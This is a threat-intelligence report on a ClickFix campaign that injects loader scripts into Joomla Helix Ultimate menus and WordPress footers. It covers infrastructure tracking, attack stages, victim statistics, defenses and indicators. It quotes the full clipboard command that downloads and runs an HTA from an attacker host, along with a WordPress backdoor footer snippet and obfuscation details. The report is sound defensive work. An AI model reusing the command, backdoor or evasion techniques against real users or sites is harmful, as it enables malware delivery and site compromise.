Threat Intelligence
HelixFix: ClickFix Through the Helix Ultimate Mega-Menu
A ClickFix alert in our SOC led to a campaign that injects Joomla sites through a Helix Ultimate mega-menu flaw. We tracked 89 domains and 2,580 compromised sites and found that the registration second, not the domain name, is what makes it followable.
Key Takeaways
- The template is the targeting criterion: a Helix Ultimate mega-menu flaw that lets visitors write menu settings explains the reach of 2,580 sites. Of the 2,005 fingerprinted, 1,855 carry Helix Ultimate assets, 99 % of the Joomla sites.
- Registration time is the tracking signal: 44 of 79 dated domains were registered in daily sets within two seconds, so one RDAP lookup often confirms a new domain.
- WordPress sites are a second foothold: a WordPress REST backdoor rotates the loader source remotely by hash.
- The victim base is persistent: many listed sites already loaded a cluster loader in August, and new tags reached Joomla menus on 15 October. Re-injection is likely the operating mode (assessed with Moderate confidence).
- The cluster is known, its entry point is new: SmartApeSG / Scarlet Goldfinch, active since late July 2026. No public source we found names the Helix entry point, the registration pattern or the REST backdoor.
Description
A ClickFix alert in our SOC, triggered by a visit to a compromised business website, pointed to four attacker domains. Starting from these four domains, we mapped the campaign behind them, mostly passively through third-party data sources. We refer to the campaign as HelixFix, after its entry point.
This report follows the attack chain from our own samples up to the HTA stager in Stage 2, and for one set of 29 September, through a public sample archive, on to the payload and its persistence. The attacker infrastructure comprises 89 domains and 37 IP addresses in three layers, one per host role (see Terminology). It serves 2,580 compromised websites (see the Victim Telemetry chapter). The campaign has run since late July 2026: the earliest high-confidence anchor is a payload domain registered on 30 July and documented in public reporting the next day. The earliest domain in our list, 27 July, rests on victim-page references (Moderate confidence). The two compromise paths, Helix Ultimate menu injection on Joomla and a WordPress REST backdoor, are described in the Attack Chain chapter. The Stage 3 archive of 15 October was not retrieved, so its payload is not analysed.
Terminology
- Compromised site: the victim website carrying the injected tag.
- Loader host: attacker domain serving the loader and the overlay.
- Command host: attacker domain serving the HTA stager, named in the clipboard command.
- Payload host: attacker domain serving the archive.
Figure 1 - Attack chain: three attacker host roles (top) and the four steps on the victim side (bottom); Stage 3 documented for one set from a public sample archive.
Campaign Context
This campaign pairs a known Helix Ultimate flaw with the known SmartApeSG execution chain. The entry point is a stored XSS in the Helix Ultimate mega-menu settings. Two CVEs describe such a flaw. CVE-2026-57829 affects versions before 2.2.7: the template’s AJAX handler, reachable through Joomla’s com_ajax dispatcher without a login, accepts mega-menu settings and stores them in the menu parameters without validation, so any visitor can write a script tag that every page then renders. A patch has been available since July 2026, and mySites.guru reports exploitation in the wild. CVE-2026-78077 affects the same component in versions up to 2.2.9. Neither the CVE used nor an exploit request is visible in our data. Three observations tie the campaign to this flaw: on all five Joomla sites examined by DOM snapshot the tag sits in the same menu parameters, 99 % of the fingerprinted Joomla victims run Helix Ultimate, and the activity began shortly after the patch of July 2026. The Attack Chain chapter has the details. The infrastructure passed through a Hetzner phase, a Vultr phase and an AWS phase, described in the Infrastructure chapter.
Threat Actor
This activity belongs to the cluster tracked by Red Canary and Zscaler as Scarlet Goldfinch and by SANS ISC as SmartApeSG, also known as ZPHP and HANEYMANEY.
Three observations support this. Four of the attacker domains carry the SmartApeSG tag in ThreatFox, submitted by two independent contributors between 9 September and 13 October. The execution chain matches the published chain step by step, from the cmd /v:on command and the curl download of the HTA to the PDF-named archive and its extraction with tar. And public reporting overlaps with our data: the loader domains of the malware-traffic-analysis.net reports from 31 July and 21 August appear on victim pages in our list, the report of 30 September documents the lure and payload host of our registration pair of 29 September, and Monitor SG labelled one of our loader hosts as SmartApeSG on 7 October.
Tracking Methodology
Starting from the four reported domains, we worked through third-party data sources, apart from a few manual downloads and one TCP connection test. The registration second, not the domain name, is what makes this campaign trackable.
Step 1 - Host to IP
We resolved the reported hosts through Google’s DNS-over-HTTPS resolver. Three loader hosts resolved to one AWS address, and the command host resolved to a second address.
Step 2 - IP to Domains
The urlscan search index includes the field page.ip and holds scans submitted by sandboxes and other analysts. A query on the two known addresses returned two additional command domains and sub-resource paths we had not requested. We ran it daily against the growing IP list.
page.ip:<loader-ip> OR page.ip:<command-ip>
// second query, no ASN filter (see the Infrastructure chapter)
page.server:"nginx/1.24.0 (Ubuntu)" AND date:>now-1d AND page.domainAgeDays:<2
Figure 2 - urlscan page.ip search on one infrastructure address: one IP leads to three command domains with daily rotating paths.
Step 3 - Domain to Registration Time
We queried RDAP at the registry endpoints, Verisign for .com and .net and Identity Digital for .info and .global, and Spaceship’s RDAP service for .co. RDAP returns the registration time to the second, so domains registered within two seconds of each other become visible as a daily set, including its .co domain, which serves as a second loader host (secondary loader host). For ten early .top and .co domains, RDAP was rate-limited or unreachable, so their registrar remains unconfirmed.
Figure 3 - RDAP records of three domains registered within two consecutive seconds: the shared registration second marks one daily set (loader host, command host, secondary loader host).
Step 4 - Infrastructure to Victims
urlscan records which hosts a scanned page loaded, so a search for the loader hosts returned the scanned websites that pulled a loader. We fingerprinted the CMS of each site from the result documents (see the Victim Telemetry chapter).
Step 5 - Request-List Sweep
Each cached victim result lists every host the page requested. We read the request lists of about 2,000 cached results offline and matched all third-party hosts against the naming scheme and the known infrastructure. One run produced 15 confirmed domains and 5 new addresses, because these domains had rarely or never been scanned directly.
| Source | Contribution |
|---|---|
| dns.google | Host to IP; liveness |
| urlscan search and result API | Domains per IP; paths; victim sites; request lists |
| RDAP | Registrar; registration second; holds |
| crt.sh | Second timestamp; no entry for three loader domains |
| Censys, Shodan InternetDB | Decoy titles, ports of live hosts; only known hosts found |
| Public reports | Earlier phases (see the Infrastructure chapter) |
The registration second and the request lists of victim scans, not the IP index alone, connected most of the attacker domains to one operator.
Attack Chain
The chain consists of an injected script tag, a loader, a fake verification overlay fetched by the loader that places a command in the clipboard, an HTA stager and an archive that side-loads a RAT (Figure 1).
Stage 0 - Entry on the Compromised Site
Two ways into the website, Joomla menu injection and a WordPress REST backdoor, feed the same loader and overlay chain. ClickFix itself is the entry point onto the endpoint.
Joomla: Helix Ultimate Menu Injection
On the Joomla sites examined, the injection sits in the database, not the file system: menu items in the #__menu table carry a script tag in their attribute or CSS class field, so the tag appears in every <li class="sp-menu-item"> of the desktop and the off-canvas menu. The five Joomla sites we examined by DOM snapshot reference three to sixteen loader hosts, among them profile.turquoisequadrant[.]info and blog.donitesmithy[.]info. A truncated ">, the remainder of the original attribute, follows every tag. All five sites run the Helix Ultimate template, so the tag was most likely written through the mega-menu flaw described in the Campaign Context chapter.
On 15 October, two of three re-scanned Joomla sites carried the new loader tag next to the old ones. So the operator keeps writing to the menu parameters, and removing the tag alone is not sufficient (assessed with Moderate confidence).
Figure 4 - Menu DOM of a compromised Joomla site: a loader tag in every menu item, with the \"> residue and the loader host of 15 October next to older ones.
WordPress: REST Backdoor with Hash Rotation
WordPress sites form a second foothold. Their initial access was not determined. Of the 98 sites fingerprinted as WordPress, we examined 70 by hand: 49 carry the WordPress REST backdoor, and 14 load an injector script from a compromised third-party site, which then likely requests the loader. The automated fingerprint flags the route on 60 of the 98, a lower bound. They load the same rotating loader hosts as the Joomla victims, so both groups belong to one campaign.
The WordPress REST backdoor places a hidden <span hidden data-wal-hash="<md5>"> before </body>, followed by the loader tag and an inline sync script. On each page load, the script queries /wp-json/wal/v1/footer on the victim’s own domain (variant wsm/v1/footer on four sites) and replaces the footer content when the returned hash differs. The hash is the MD5 of the loader tag, so the operator can switch the loader host on all sites remotely. This is a backdoor, likely installed as a plugin or mu-plugin.
Simplified:
<span hidden data-wal-hash="d0ccee18f7f5d699e279e3b5986e2a25"></span>
<script src="hxxps://sallowcloister[.]co/settings/secure-script.js"></script>
<script>// once per page load: GET hxxps://<victim>/wp-json/wal/v1/footer?_=<timestamp>
// response: {"content": "<script src=...>", "hash": "<md5>"}
// if hash differs from data-wal-hash: footer.innerHTML = content</script>
Figure 5 - WordPress footer with data-wal-hash marker, loader tag and REST sync script that swaps the tag when the hash changes.
Stage 1 - Loader
The loader is a small script that decides whether a visitor is worth an overlay. It exits on Android and iPhone, fires at most once per 24 hours per browser, with a timestamp in localStorage, and removes the key cf-used-at that the overlay will later set. Then it appends a second script tag that points to the overlay on the same host. The loader carries no command itself. Its code is obfuscated with a rotating string array, a Base64 variant decoder and an XOR layer over the target URL.
We hold the loaders of two sets. audit-stylesheet.js of 14 October uses the XOR key SHA_10011, the localStorage key ENV_201021 and fetches /middleware/logout-server? plus eight random characters from blog.donitesmithy[.]info. route-server.js of 15 October has the same logic with new keys, SHA_1001101 and ENV_20102142, and a new overlay path, /policy/status-request. So the loader is rebuilt per set with fresh keys and paths while its behaviour stays the same, which is why neither hash nor key is a useful signature.
Stage 1b - Overlay and Clipboard Command
The overlay is the ClickFix lure. A React 19 bundle, with Tailwind CSS injected as <style id="captcha-css">, replaces the page with an imitation of the Cloudflare interstitial, including the victim’s hostname and a random Ray ID. It is shown only to user agents containing “win” and uses cf-used-at as a re-display lock, the key the loader deletes, which ties both files to one chain. A click on the checkbox writes a hardcoded command to the clipboard via navigator.clipboard.writeText, and instructions in seven languages ask for Win+R, Ctrl+V and Enter. The command of 14 October:
%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]tundstone[.]com/drs& start "" "%y")"
It assembles curl from two variables, downloads the HTA from the command host and opens it with start, so the command line never contains mshta. Red Canary documents the same cluster picking letters by substring index, so this is a different, possibly later variant of the command builder.
We hold two overlays, both from the urlscan response store. scope-ajax.js is the overlay of 14 October. legacy-partial.js was served on 15 October by news.pieset[.]co, a loader host registered outside the naming scheme that a group of victims including WordPress sites has used since 13 October. The two files are byte-identical except for the command host: the second one still points to api.stepanapis[.]com/prs, the command host of 13 October, whose path had returned 404 since 14 October. So the overlay is one build in which only the command string is exchanged per set, and the pieset strand ran with an outdated command host on 15 October (Moderate confidence). For defenders this means the overlay hash changes with every command string, while the content markers do not, and that a host outside the naming scheme is still caught by domain age, path scheme and those markers.
Stage 2 - HTA Stager
The HTA is the bridge from the browser to the file system. Opened through its file association, it hides its window off screen, creates a folder with a random numeric name, downloads the archive from the payload host with curl into a file named <digits>.pdf, waits, and extracts the file with tar. Everything it does runs through built-in Windows tools. The file itself is padded with random comment text around a few kilobytes of code, and the code is a numeric array that is decoded by subtracting 7 and XORing with a one-byte key, then run through Function().
We hold the HTAs of two sets. NHEWS.hta of 14 October was downloaded from api.tundstone[.]com/drs by us. It writes below %LOCALAPPDATA%, fetches bayouandjadeite[.]com/wo, waits three seconds and extracts, but does not start anything it extracted. PROSSS.hta of the 29 September set comes from a public sample archive, decoded statically by us. It uses the same padding and the same scheme with a different key, but writes below Documents, waits a random 10 to 15 seconds, checks that the download exists, starts the extracted executable and deletes the archive. So the stager is maintained between sets: folder, timing and start logic change, the technique does not.
Stage 3 - Payload and Persistence
The archive is a side-loading package. It contains an executable together with the runtime DLLs it expects, plus one or more DLLs that do not belong there, and the executable loads one of those on start. From there a remote access trojan runs and establishes persistence at user logon. Which trojan it is changes over time: public reporting on the cluster names Remcos and later NetSupport RAT (SANS ISC), an unnamed RAT in July and August, an unidentified RAT followed by MeshAgent in mid-September, and CNCmachineRMS at the end of September.
We hold the archive of one set, 29 September, from the public sample archive behind the malware-traffic-analysis.net report of 30 September. That this is our campaign is verified through the registration pair of that day: the report’s lure fennelcanticle[.]co and payload host copseandonyx[.]com were registered one second apart. It is a Qt5/SDL3 application bundle of 16 files: KCrashReporter_x64.exe, named after a legitimate crash reporter, the matching Qt5, SDL3 and Visual C++ runtime DLLs, three DLLs that do not belong to such a bundle, RwcShl64.dll, drive4.dll and libservice-blender.dll, and two data files, StaAnalysis.dat and values.db. According to the report, the executable side-loads one of the three DLLs, which leads to the CNCmachineRMS RAT with C2 on TCP 443. The RAT then installs itself twice, as a Run key and as a scheduled task, both named “XnView Crash Reporter” and both pointing to the executable in the numeric Documents folder. Over the RAT channel a follow-up setup.exe arrives and creates a folder under ProgramData without further traffic.
Samples
| Sample | Stage | Set | Source | Size | SHA-256 |
|---|---|---|---|---|---|
audit-stylesheet.js |
1 | 14 October | own download | 4,764 bytes | 20ecb0043dd50a4b17b67500ebe789fadbc837fbffd7543d6eeaab4fc2dbc74b |
route-server.js |
1 | 15 October | own download | 4,752 bytes | c383bb16840edc79c266e04578b8fb698b2349a50595bed58654ad890af35c16 |
scope-ajax.js |
1b | 14 October | urlscan response store | 1,730,116 bytes | 45af1c656da43105ba1783e3eac188f802328d20c0eb6bb8a83cbfc62eab1c74 |
legacy-partial.js |
1b | 13 October command host, news.pieset[.]co |
urlscan response store | 1,730,117 bytes | bd1b453e98e0877d2ecb4a54a0631a30cb86b0012e01575cd4164404fdacc7b5 |
NHEWS.hta |
2 | 14 October | own download | 66,558 bytes | 606023fd6018fb2e34df742e0d8456c2fe75a71738dd844a99365e13c3e728c3 |
PROSSS.hta |
2 | 29 September | public sample archive | 79,383 bytes | f401555d44747c10c0b29d7d307c54cdf62ccb6e69ceb33ccbd72872838d8faa |
ZIP archive from /crew |
3 | 29 September | public sample archive | 10,579,697 bytes | 069c14a04cc7364852b6570891c39d842db7182794f308eea0a88b243ada09de |
setup.exe (follow-up via RAT) |
3 | 29 September | public sample archive | 13,774,634 bytes | 7c27000125fcd5788f11a5464beb8eb85978c90f532c349c070d0f9f84726738 |
All samples were analysed statically. The public sample archive is the one published with the malware-traffic-analysis.net report of 30 September. We did not execute or reverse the binaries.
Up to the archive download, the chain uses no attacker binary: a database-stored script tag, two browser scripts and built-in Windows tools deliver an archive. For the set of 29 September the chain continues into a side-loaded DLL, a RAT and logon persistence, for the set of 15 October the archive was not retrieved. Across the three sets we hold samples for, 29 September, 14 October and 15 October, loader, overlay and stager share one code base and change in details with every set.
Infrastructure
The infrastructure behind the loader tags consists of 89 domains and 37 IP addresses in our master list as of 15 October. Each domain is tied to the campaign by a registration pair, a DOM snapshot, a sample or a public report, or by compromised sites that load it as a script source. Domain names and paths change daily. The naming scheme, the path scheme and, from September, the registration second do not.
Three Layers
The loader layer is the largest, with 75 domains on nine TLDs. For yarrowalcove[.]net the role is inferred from a page snapshot. Recent loader hosts sit on a short subdomain such as blog. or pro., older ones on the apex domain. These older hosts form the loader pool, which keeps resolving after daily use, and names combine a plant, mineral or colour term with an architectural or literary element. On 12 and 13 October, a secondary loader host served a second loader from its own address, a .co domain and a pro. or do. subdomain. Its purpose was not determined. Since 13 October, news.pieset[.]co, outside the naming scheme, serves a separate group of victims (see the Attack Chain chapter). The command layer has three domains, one per day from 12 to 14 October, the payload layer eleven, from 30 July to 7 October. The role of the .com domain changed over time (see Registration Pattern), so the name does not indicate the role.
| Layer | Host pattern | Path pattern | IP role |
|---|---|---|---|
| Loader (recent) | <sub>.<plant/mineral/colour><element>[.]info or [.]co |
mostly /<word>/<word>-<word>.js |
Loader host of the day, secondary loader host |
| Loader (older) | apex .top/.co/.org/.cc/.best/.net |
mostly /<word>/<word>-<word>.js |
Loader pool |
| Command | api.<word>[.]com, e.g. api.tundstone[.]com |
/<three letters> |
One shared command IP |
| Payload | <landscape>and<gemstone>[.]com, e.g. bayouandjadeite[.]com |
short path, e.g. /wo |
One shared payload IP |
Registration Pattern
Registrar and hosting changed in three phases (Figure 6). In the Hetzner phase (27 July to 28 August, PDR Ltd), domains were registered mostly on .top and hosted with Hetzner Online US (AS213230). The earliest domain in our list, flintazimuth[.]top, was registered on 27 July at 06:18 UTC and referenced by victim pages from 09:48 UTC. It rests on victim pages only (Moderate confidence). The earliest high-confidence anchor is the payload domain deltaode[.]com, registered on 30 July and documented in public reporting the next day. The Vultr phase (1 September to about 20 September, Spaceship) begins with cobaltwayfinder[.]org, registered via Spaceship with name servers launch1/launch2.spaceship.net and hosted with Vultr and, around the turn of the month, HZ Hosting. In the AWS phase (from 20 September, Spaceship), new domains resolve to AWS. 61 domains are registered with Spaceship, 18 with PDR Ltd and ten without RDAP confirmation.
The Hetzner phase belongs to the same campaign, because public SmartApeSG reports document its loader domains with the same chain and path scheme, and our victim list overlaps with them (see the Campaign Context chapter).
From 4 September, domains registered within two seconds of each other, mostly in the same second, form 19 daily sets, 13 pairs and six triples, on 18 days up to 14 October, each spanning different TLDs. The Hetzner phase shows no such sets. The .com member of a set was a payload domain until 7 October and a command domain from 12 October. Most daily sets, 17 of 19, fall into an early-morning (04:40 to 08:45 UTC) or evening window (19:20 to 21:50 UTC), so the windows describe a habit, not a detection criterion. Each daily set likely comes from one registration run (assessed with Moderate confidence). Registrar-side batching cannot be ruled out.

Figure 6 - Domain registrations by role and hosting provider, 27 July to 15 October 2026 (UTC): the 79 of the 89 counted domains with a known registration date; the ten early-phase domains whose registry RDAP was unreachable are not shown. Markers: switch from PDR Ltd to Spaceship, and from Vultr to AWS; vertical lines connect domains registered within two seconds.
Hosting
The 37 addresses belong to four providers: 19 on Amazon AWS (17 in AS14618, 2 in AS16509), 11 on Hetzner Online US (AS213230), six on Vultr (AS20473) and one on HZ Hosting (AS202015). Known server headers read nginx/1.24.0 (Ubuntu), except two September payload hosts. On 15 October, fluoriterefrectory[.]info appeared on 18.217.22[.]168 in AWS us-east-2 (AS16509), which a urlscan search restricted to AS14618 missed. So each change moved the infrastructure outside filters built on the previous phase.
The daily infrastructure uses one address per role: loader hosts of 12 to 14 October on 44.192.112[.]169, command hosts on 107.23.85[.]56, payload domains on 35.170.55[.]9 (since 29 September) and secondary loader hosts on 44.223.90[.]242. The other addresses carry the loader pool, the earlier phases, news.pieset[.]co and the loader host of 15 October. So blocking known addresses does not cover the loader pool or new addresses.
Lifetime and Availability
Loader hosts stop working within days: in urlscan’s page.ip results, most loader pool hosts return errors within a few days, and blog.donitesmithy[.]info has refused connections since early 15 October. Command paths are also retired: /prs returned 404 one day after its use. copperlodestar[.]info returns NXDOMAIN, yet 100 urlscan scans of victim sites between 6 and 14 October still reference it, so suspended domains remain on victim pages long after they stop serving.
Victim Telemetry
Scope and Distribution
In our data, 2,580 websites loaded a loader of this campaign in urlscan scans from 14 September to 15 October, the window our searches covered systematically. The count is a lower bound for sites carrying a loader tag, and a first sighting is the first scan of a site, not the date of compromise. 697 of them have a .de TLD or are hosted in Germany. By hosting country, Germany leads with 664 sites. 473 sites use a .de domain. It is followed by Russia (421), the United States (294), France (255) and Poland (107). For 63 sites urlscan provides no country. On 15 October alone, 137 victim sites loaded the new loader host of that day, and 126 of them were not yet in the list. Our list is not the full victim base: a search without date filter for the loader domain of a public report from 21 August returned 1,207 sites of that August wave, at least 700 of which loaded a cluster loader in scans between 21 August and 14 October and appear in our list, while 507 do not. The loader domain of the report from 31 July is referenced by 888 victim pages in urlscan.

Figure 7 - Compromised websites by hosting country (left) and by week of first urlscan sighting (right), 2,580 sites as of 15 October, each with at least one scan from 14 September (UTC); first seen in urlscan, not infection date. The weekly values follow third-party scan sweeps, the country distribution does not.
Victim Profile
A screening of the list of 14 October by domain name, page title and top-level domain shows an opportunistic victim set: small and medium businesses, clubs, parishes and small municipalities dominate. Of 46 sites that could belong to a public body or a larger organisation, most are local administrations, fire brigades or associations. A few are public bodies outside Germany. No German federal or state body, university, operator of critical infrastructure or large company appears in that data. Target selection follows the vulnerable template, not the victim.
CMS Fingerprint
We fingerprinted the 2,005 sites known on 14 October from the resource list of their urlscan result documents, using Joomla, Helix Ultimate and WordPress paths from the site’s own domain plus the Wappalyzer data urlscan attaches to each scan. The fingerprint reflects the site’s state at scan time. The 575 sites added on 15 October are not fingerprinted. More than 60 % of the fingerprinted sites loaded more than one loader host, consistent with the rotation described in the Infrastructure chapter.
| CMS (2,005 sites, 14 October) | Sites | Share |
|---|---|---|
| Joomla | 1,871 | 93.3 % |
| WordPress | 98 | 4.9 % |
| Joomla and WordPress traces | 5 | 0.2 % |
| Unknown | 27 | 1.3 % |
| No scan available | 4 | 0.2 % |
1,855 of the 2,005 sites carry Helix Ultimate assets, which is 99 % of the Joomla sites. In Germany, Switzerland and Poland the Helix share is close to or at 100 %. This matches the Helix Ultimate menu-parameter injection described in the Attack Chain chapter as the main entry point. The WordPress sites are a second foothold with their own persistence mechanism.
Almost every fingerprinted victim runs Joomla with Helix Ultimate, so the template, not the operator’s choice of target, defines who is exposed.
Recommendation / Learning
The campaign relies on a stored injection in the CMS database, built-in Windows tools and infrastructure replaced every few days. So durable detection keys on endpoint behavior and on what the operator reuses, not on domains or addresses.
For Site Operators
- Update Helix Ultimate to 2.2.10 or later. Existing tags have to be removed separately.
- Search the
#__menutable for<scripttags with an externalsrcin attribute and CSS class fields. In the database the tag is followed by a raw">, rendered as">. A file integrity check does not find database content. - Review Super User accounts, rotate credentials and check logs for unauthenticated
com_ajaxrequests tosaveMegaMenuSettings. - On WordPress, look for the REST namespaces
wal/v1andwsm/v1inwp-content/mu-pluginsand plugins, and fordata-wal-hashordata-wsm-hashin the footer. - Close the entry point before removing the tag: on WordPress remove the REST backdoor first, on Joomla patch first. Otherwise the operator writes the tag again (see the Attack Chain chapter).
For Defenders and Threat Trackers
- Map
.htato a text editor or blockmshta.exevia AppLocker, WDAC or ASR. The chain starts the HTA through its file association and breaks here. - Block or alert on newly registered domains (younger than seven days) in proxy and DNS. The infrastructure is registered daily, so this survives the rotation.
- Detect the process chain of the paste step:
cmd.exespawningcurl.exe, followed bymshta.exestarted through the.htafile association, which in turn spawnscmd.exewithcurl.exeandtar.exe. The pasted command line itself never containsmshta. We reconstructed this chain from the samples, not from telemetry. - Alert on HTA files written to
%LOCALAPPDATA%, and on archives with a.pdfextension that are extracted withtarfrom a purely numeric folder below%LOCALAPPDATA%orDocuments. The folder changed between sets. - Hunt for a Run key or scheduled task named
XnView Crash Reporter, forKCrashReporter_x64.exeoutside a program directory, and for Qt5 and SDL3 DLLs in a numeric user folder without an installed application. These are the first stable host artefacts after the archive. - Flag
curl/user-agent requests toapi.<domain>[.]com/<three letters>over plain HTTP, visible without TLS inspection. - Check
HKCU\...\Explorer\RunMRU: the Win+R step leaves the pasted command there. - With TLS inspection, flag responses from domains younger than seven days that carry
nginx/1.24.0 (Ubuntu)and a small-business decoy title. Combine with the naming scheme. - Infrastructure of the Hetzner phase is not listed in the appendix, because it is likely outdated. If you hold proxy or DNS logs from that period, hunt for the loader path pattern rather than for addresses, and do not add those addresses to live blocklists.
- Search for victim pages without a date filter: the start of a search window is not the start of the campaign.
Conclusion
The campaign, active since late July 2026, belongs to the SmartApeSG cluster and adds an entry point not described publicly before: a stored injection in Joomla sites running Helix Ultimate, alongside a WordPress REST backdoor. Domains and paths are disposable, while the registrar, the registration second, the shared addresses per role and the injected tags persist. Many listed sites already loaded a cluster loader in August, and fresh tags on rescanned sites suggest ongoing re-injection (Moderate). The final stage changes per set, with CNCmachineRMS documented publicly for the set of 29 September, and remains open for 15 October (see the Attack Chain chapter).
We reported the infrastructure to Spaceship and AWS before publication.
This report was produced with AI assistance.
Appendix A: MITRE ATT&CK Mapping
“Attacker infrastructure” covers domains and servers the operator acquired, “Compromised site” the takeover of Joomla and WordPress sites, and “Victim endpoint” the ClickFix chain up to the archive download and, for one set, its persistence. Endpoint behavior is reconstructed statically from the samples. Rows marked “per MTA” rest on the malware-traffic-analysis.net report of 30 September.
| Tactic (MITRE) | Scope | Technique | ID | Campaign Mapping | Behavioral Indicator |
|---|---|---|---|---|---|
| Resource Development | Attacker infrastructure | Acquire Infrastructure: Domains | T1583.001 | 89 domains (high/medium): 61 Spaceship, 18 PDR Ltd, 10 unconfirmed; 19 daily sets on 18 days | See the Infrastructure chapter |
| Resource Development | Attacker infrastructure | Acquire Infrastructure: Virtual Private Server | T1583.003 | 37 addresses: Hetzner phase (AS213230), Vultr phase (AS20473, AS202015 HZ Hosting), AWS phase (AS14618, AS16509) | - |
| Resource Development | Compromised site | Compromise Infrastructure: Server | T1584.004 | Legitimate Joomla and WordPress sites serve the loader tag to visitors (see the Victim Telemetry chapter) | - |
| Resource Development | Compromised site | Stage Capabilities: Drive-by Target | T1608.004 | Loader tags in Joomla menu items and WordPress footers; new tags added next to old ones | Tag of 15 October next to older tags on two of three rescanned Joomla sites |
| Initial Access | Compromised site | Exploit Public-Facing Application | T1190 | #__menu script tag with "> residue (Helix Ultimate); stored XSS in mega-menu settings (inference, High); CVE undetermined |
External script tag with "> residue in #__menu entries; site files unchanged (DOM snapshots, five Joomla sites) |
| Initial Access | Victim endpoint | Drive-by Compromise | T1189 | Compromised page loads loader; loader loads overlay | Proxy: script request to newly registered domain |
| Execution | Victim endpoint | User Execution: Malicious Copy and Paste | T1204.004 | navigator.clipboard.writeText; Win+R, Ctrl+V, Enter instructions in seven languages |
Registry: RunMRU entry containing /v:on and -skLo |
| Execution | Victim endpoint | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | %COMSPEC% /v:on /c with delayed expansion; curl built from !x!!c! |
Process creation: cmd from Run dialog with /v:on, set x=cu&set c=rl, -skLo |
| Execution | Victim endpoint | Command and Scripting Interpreter: JavaScript | T1059.007 | HTA stager decodes a numeric array and runs the script via Function() |
- |
| Persistence | Compromised site | Server Software Component | T1505 | WordPress REST backdoor wal/v1/footer / wsm/v1/footer returning {content, hash}; T1505.003 fit unverified |
Hidden data-wal-hash span; inline script replaces footer on hash change |
| Defense Evasion | Victim endpoint | Execution Guardrails | T1480 | Overlay only if user agent contains “win”; loader exits on Android and iPhone; 24-hour lock in localStorage | localStorage keys ENV_201021, ENV_20102142, cf-used-at |
| Defense Evasion | Victim endpoint | Obfuscated Files or Information | T1027 | Loader with rotating string array and XOR key; HTA script as numeric array (minus 7, then XOR) | - |
| Defense Evasion | Victim endpoint | Obfuscated Files or Information: Binary Padding | T1027.001 | About 64 KB random comment text in the 66 KB HTA stager | HTA hash likely unique per download; hash matching unreliable |
| Defense Evasion | Victim endpoint | Obfuscated Files or Information: Command Obfuscation | T1027.010 | curl from two variables (set x=cu&set c=rl) in clipboard command |
- |
| Defense Evasion | Victim endpoint | Masquerading: Masquerade File Type | T1036.008 | Archive with .pdf extension, extracted with tar |
File creation: non-PDF .pdf in numeric folder below %LOCALAPPDATA% |
| Defense Evasion | Victim endpoint | System Binary Proxy Execution: Mshta | T1218.005 | NHEWS.hta opened by start via file association |
start "" "%LocalAppData%\NHEWS.hta"; no mshta on command line |
| Defense Evasion | Victim endpoint | Deobfuscate/Decode Files or Information | T1140 | HTA decodes its script at runtime before execution | - |
| Defense Evasion | Victim endpoint | Hide Artifacts: Hidden Window | T1564.003 | start "" /min; HTA window zero size, off screen |
Process creation: start "" /min in cmd command line; HTA resizeTo/moveTo to zero size |
| Command and Control | Victim endpoint | Ingress Tool Transfer | T1105 | curl writes NHEWS.hta; HTA downloads archive into numeric folder |
Proxy: curl/ user agent to api.<word>[.]com/<3 letters>; file creation in %LOCALAPPDATA% |
| Defense Evasion | Victim endpoint | Hijack Execution Flow: DLL Side-Loading | T1574.002 | 29 September set: Qt5/SDL3 bundle, KCrashReporter_x64.exe side-loads one of three foreign DLLs leading to the CNCmachineRMS RAT, per MTA 30 September |
Qt5/SDL3 DLLs plus unknown DLLs in a numeric user folder |
| Defense Evasion | Victim endpoint | Masquerading: Match Legitimate Name or Location | T1036.005 | 29 September set: executable and persistence named after a legitimate crash reporter | Process KCrashReporter_x64.exe outside a program directory |
| Persistence | Victim endpoint | Boot or Logon Autostart Execution: Registry Run Keys | T1547.001 | 29 September set: HKCU Run value XnView Crash Reporter, per MTA |
Run value pointing into Documents\<digits>\ |
| Persistence | Victim endpoint | Scheduled Task/Job: Scheduled Task | T1053.005 | 29 September set: task \XnView Crash Reporter, logon trigger, 3 s delay, least privilege, per MTA |
Task creation with an action in a user folder |
Appendix B: Indicators of Compromise
The indicators reflect our data as of 15 October, 21:00 UTC. Listed indicators rest on a registration pair, a DOM finding, a sample or a public report. Hosts known only from victim-page references are not listed. The tables contain only indicators active in the last days of data collection. Older infrastructure from July to early October is left out.
Network: Recently Observed (as of 15 October 2026)
Domains of the most recent sets, all high confidence. Some hosts no longer respond. The IP addresses are shared cloud addresses, so validate them before blocking. Re-check entries 14 days after their last sighting.
| Value | Role | Registered | Path observed |
|---|---|---|---|
bayouandjadeite[.]com |
Payload | 2 October | /wo |
profile.turquoisequadrant[.]info |
Loader | 12 October | /dashboard/logout-html.js |
api.cuestmoon[.]com |
Command | 12 October | /gtr |
do.walnutfolio[.]co |
Secondary loader | 12 October | /dashboard/v1/footer |
new.sunstonewell[.]info |
Loader | 13 October | /verify/version-build.js |
api.stepanapis[.]com |
Command | 13 October | /prs |
pro.oakcanticle[.]co |
Secondary loader | 13 October | /throttle/user-parser.js |
news.pieset[.]co |
Loader (off-schema) | 13 October | /profile/policy-css.js, /profile/public-sessionstore |
blog.donitesmithy[.]info |
Loader | 14 October | /middleware/audit-stylesheet.js, /middleware/logout-server |
api.tundstone[.]com |
Command | 14 October | /drs |
fluoriterefrectory[.]info |
Loader | 15 October | /policy/route-server.js, /policy/status-request |
| Address | Role | ASN | Last seen |
|---|---|---|---|
18.217.22[.]168 |
Loader (15 October) | AS16509 Amazon | 15 October |
44.192.112[.]169 |
Loader | AS14618 Amazon | 14 October |
44.223.90[.]242 |
Secondary loader | AS14618 Amazon | 15 October |
100.54.102[.]60 |
Loader (news.pieset[.]co) |
AS14618 Amazon | 15 October |
107.23.85[.]56 |
Command | AS14618 Amazon | 14 October |
35.170.55[.]9 |
Payload | AS14618 Amazon | 1 October; refused connections since 14 October |
Network: Patterns
| Type | Value | Role | Lifetime; note |
|---|---|---|---|
| URL pattern | hxxp(s)://api.<word>[.]com/<3 letters> |
Command | Campaign; curl user agent, HTTP redirected to HTTPS |
| URL pattern | hxxps://<landscape>and<gemstone>[.]com/<short path> |
Payload | Campaign; archive with .pdf extension |
| Path pattern | /<word>/<word>-<word>.js next to /<word>/<word>-<word>?<8 chars> on one young host |
Loader | Campaign; loader and overlay path share the first segment |
